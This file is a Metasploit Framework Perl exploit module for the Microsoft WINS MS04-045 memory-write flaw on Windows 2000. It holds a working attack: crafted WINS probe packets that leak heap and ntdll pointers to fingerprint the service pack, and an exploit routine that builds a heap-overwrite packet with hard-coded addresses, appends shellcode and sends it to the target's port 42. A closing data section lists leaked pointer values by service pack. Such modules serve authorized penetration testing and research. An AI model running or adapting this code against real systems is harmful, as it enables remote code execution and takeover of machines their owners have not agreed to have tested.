
##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::wins_ms04_045;
use base "Msf::Exploit";
use strict;

my $advanced =
  {
	'BASE'	=> [0, 'Specify the exact address to the structure'],
	'TARG'	=> [0, 'Specify the exact address to overwrite'],
	'WHAT'	=> [0, 'Specify the data used to overwrite the address'],
  };

my $info =
  {
	'Name'    => 'Microsoft WINS MS04-045 Code Execution',
	'Version' => '$Revision: 1.24 $',
	'Authors' => [ 'H D Moore <hdm [at] metasploit.com>' ],

	'Arch'  => [ 'x86' ],
	'OS'    => [ 'win32', 'win2000' ],
	'Priv'  => 1,

	'AutoOpts'  => { 'EXITFUNC' => 'process' },
	'UserOpts'  =>
	  {
		'RHOST'  => [1, 'ADDR', 'The target address'],
		'RPORT'  => [1, 'PORT', 'The target port', 42],
	  },

	'Payload' =>
	  {
		'Space' 	=> 8000,
		'MinNops'	=> 512,
		'Prepend'	=> "\x81\xc4\x54\xf2\xff\xff",	# add esp, -3500
		'Keys' 		=> ['+ws2ord'],
	  },

	'Description'  => Pex::Text::Freeform(qq{
		This module exploits a arbitrary memory write flaw in the WINS service. This
	exploit has been tested against Windows 2000 only.
}),

	'Refs'  =>
	  [
		['OSVDB',   '12378'],
		['MSB',     'MS04-045'],
		['MIL', 	'78'],
	  ],

	'Targets'   =>
	  [
		['Windows 2000 English', [ 0x5391f40 ], 0x53df4c4, 0x53922e0]
	  ],

	'Keys'  =>  ['wins'],

	'DisclosureDate' => 'Dec 14 2004',
  };

sub new {
	my $class = shift;
	my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
	return($self);
}

sub Check {
	my $self = shift;
	my $target_host = $self->GetVar('RHOST');
	my $target_port = $self->GetVar('RPORT');

	my ($ret, $fprint, $check) = @{ $self->Fingerprint };

	if ($ret < 0) {
		return $check;
	}

	if ($ret == 0) {
		$self->PrintLine("[*] This system does not appear to be vulnerable.");
		return $check;
	}

	$self->PrintLine("[*] This system appears to be vulnerable.");
	if ($fprint->{'os'} ne '?') {
		my $os = $fprint->{'os'} eq '?' ? 'Unknown Windows' : 'Windows '. $fprint->{'os'};
		my $sp = $fprint->{'sp'} eq '?' ? '' : 'SP '. $fprint->{'sp'};
		my $vi = $fprint->{'vi'} == 1 ? '(clean heap)' : '(dirty heap)';
		my $hp = length($sp) ? $vi : '';
		$self->PrintLine("[*] Host $target_host is $os $sp $hp");
	}

	return $self->CheckCode('Safe');
}

sub Exploit {
	my $self = shift;
	my $target_host = $self->GetVar('RHOST');
	my $target_port = $self->GetVar('RPORT');
	my $target_idx  = $self->GetVar('TARGET');

	my $shellcode   = $self->GetVar('EncodedPayload')->Payload;

	my $target = $self->Targets->[$target_idx];

	if (! $self->InitNops(128)) {
		$self->PrintLine("[*] Failed to initialize the nop module.");
		return;
	}

	# Sanity check the WINS service
	my ($ret, $fprint, $check) = @{ $self->Fingerprint };

	if ($ret <= 0) {
		$self->PrintLine("[*] The target system does not appear to be vulnerable.");
		return;
	}

	# Windows 2000 SP0, SP2, SP3, SP4 only. SP1 does not have the
	# same function pointer...
	if ($fprint->{'os'} ne '2000' || $fprint->{'sp'} !~ /^[0234]/ ) {
		$self->PrintLine("[*] The target system is not currently supported");
		return;
	}

	# This flag is un-set if the first leaked address is not the default of
	# 0x05371e90. This can indicate that someone has already tried to exploit
	# this system, or something major happened to the heap that will probably
	# prevent this exploit from working.
	if (! $fprint->{'vi'}) {
		$self->PrintLine("[*] The leaked heap address indicates that this attack may fail.");
	}

	# Allow for multiple attempts to find the base address
	# XXX - Brute force not implemented (or required so far)
	my @rloc = @{ $target->[1] };

	# Address of the function pointers to overwrite (courtesy anonymous donor)
	my $targ = $target->[2];

	# Address of the payload on the heap, past the structure
	my $code = $target->[3];

	# Advanced options can be used to overwrite
	@rloc = ( hex($self->GetVar('BASE')) ) if $self->GetVar('BASE');
	$targ = hex($self->GetVar('TARG')) if $self->GetVar('TARG');
	$code = hex($self->GetVar('WHAT')) if $self->GetVar('WHAT');

	foreach my $base (@rloc) {
		my ($req, $add);

		# Pointing at any aligned address into top 36 bytes will result in a
		# valid structure. This gives us some breathing room if things move
		# around a little bit.
		$add .= pack('V', $code) x 9;
		$add .= pack('V', $targ - 0x48) x 14;

		# Multiple copies are used in case things slide a little bit
		$req .= $add x 10;

		# Bling.
		$req .= $shellcode;

		# Random padding :-)
		$req .= Pex::Text::EnglishText(9200 - length($req));

		# Tack on the header
		my $pkt = pack('NNN', length($req) + 8, -1, $base). $req;

		# Poink!
		$self->PrintLine(sprintf("[*] Attempting to overwrite 0x%.8x with 0x%.8x (0x%.8x)", $targ, $code, $base));
		my $s = Msf::Socket::Tcp->new
		  (
			'PeerAddr'  => $target_host,
			'PeerPort'  => $target_port,
		  );

		if ($s->IsError) {
			$self->PrintLine("[*] Socket error: " . $s->GetError());
			return(0);
		}

		$s->Send($pkt);
		$self->Handler($s);
	}

	return;
}

# This fingerprinting routine will cause the structure base address to slide down
# 120 bytes. Subsequent fingerprints will not push this down any futher, however
# we need to make sure that fingerprint is always called before exploitation or
# the alignment will be way off.

sub Fingerprint {
	my $self = shift;
	my $target_host = $self->GetVar('RHOST');
	my $target_port = $self->GetVar('RPORT');
	my $fprint = {};

	# This results in vulnerable servers leaking back some useful
	# pointers to the heap and to ntdll.dll. We can use these pointers
	# to determine the service pack.

	my $req =
	  "\x00\x00\x00\x29\x00\x00\x78\x00\x00\x00\x00\x00".
	  "\x00\x00\x00\x00\x00\x00\x00\x40\x00\x02\x00\x05".
	  "\x00\x00\x00\x00\x60\x56\x02\x01\x00\x1F\x6E\x03".
	  "\x00\x1F\x6E\x03\x08\xFE\x66\x03\x00";

	my $s = Msf::Socket::Tcp->new
	  (
		'PeerAddr'  => $target_host,
		'PeerPort'  => $target_port,
	  );

	if ($s->IsError) {
		$self->PrintLine("[*] Socket error: " . $s->GetError());
		return [-2, $fprint, $self->CheckCode('Connect') ];
	}

	$s->Send($req);
	my $res = $s->Recv(-1, 5);
	if (! $res) {
		$self->PrintLine("[*] No response to WINS probe.");
		$s->Close;
		return [-1, $fprint, $self->CheckCode('Connect') ];
	}

	my @ptrs = ( unpack('N', substr($res, 16, 4)), unpack('VVV', substr($res, 32)) );
	$self->PrintDebugLine(1, sprintf("[*] Pointers: [0x%.8x] 0x%.8x 0x%.8x 0x%.8x", @ptrs));

	my ($os, $sp, $vi) = ('2000', '?', '?');

	# Windows 2000 versions
	$sp = '0'	if $ptrs[3] == 0x77f8ae78;
	$sp = '1'	if $ptrs[3] == 0x77f81f70;
	$sp = '2'	if $ptrs[3] == 0x77f82680;
	$sp = '3'	if $ptrs[3] == 0x77f83608;
	$sp = '4'	if $ptrs[3] == 0x77f89640;
	$sp = '4++'	if $ptrs[3] == 0x77f82518;

	# Contributed by grutz[at]jingojango.net
	$sp = '3/4' if $ptrs[3] == 0x77f81648;

	# Probably not Windows 2000...
	$os = '?' if $sp eq '?';

	# Windows NT 4.0
	if ($ptrs[0] > 0x02300000 && $ptrs[0] < 0x02400000) {
		$os = 'NT';
		$sp = '?';
	}

	# Heap is still pristine...
	$vi = 1 if $ptrs[0] == 0x05371e90;

	# Store the fingerprints....
	$fprint->{'os'} = $os;
	$fprint->{'sp'} = $sp;
	$fprint->{'vi'} = $vi;

	# Probe to test vulnerability
	$req =	"\x00\x00\x00\x0F\x00\x00\x78\x00". substr($res, 16, 4).
	  "\x00\x00\x00\x03\x00\x00\x00\x00";
	$s->Send($req);
	$res = $s->Recv(-1, 3);

	$s->Close;

	if (substr($res, 6, 1) eq "\x78") {
		return [1, $fprint, $self->CheckCode('Appears') ];
	}

	return [0, $fprint, $self->CheckCode('Safe') ];
}

1;

__END__
SP0 [0x05371e90] 0x053dffa4 0x77fb80db 0x77f8ae78
SP1 [0x05371e90] 0x0580ffa4 0x77fb9045 0x77f81f70
SP2 [0x05371e90] 0x053dffa4 0x77fb9da7 0x77f82680
SP3 [0x05371e90] 0x053dffa4 0x77f82b95 0x77f83608
SP4 [0x05371e90] 0x053dffa4 0x77f98191 0x77f89640
SP4 [0x00000040] 0x053dffa4 0x77f98191 0x77f89640 (patched)
SP4 [0x0000003e] 0x053dffa4 0x77f81f55 0x77f82518 (mostly patched)

NT4 
YES [0x023b1e98] 0x0014c3f0 0x00000048 0x00000000
NOT [0x023d1dc8] 0x0014de60 0x00000048 0x0000023f
YES [0x023b1ea0] 0x00000048 0x00000009 0x0000023e

2K3 [0x00000040] 0x044bf584 0x01013c25 0x000003ac
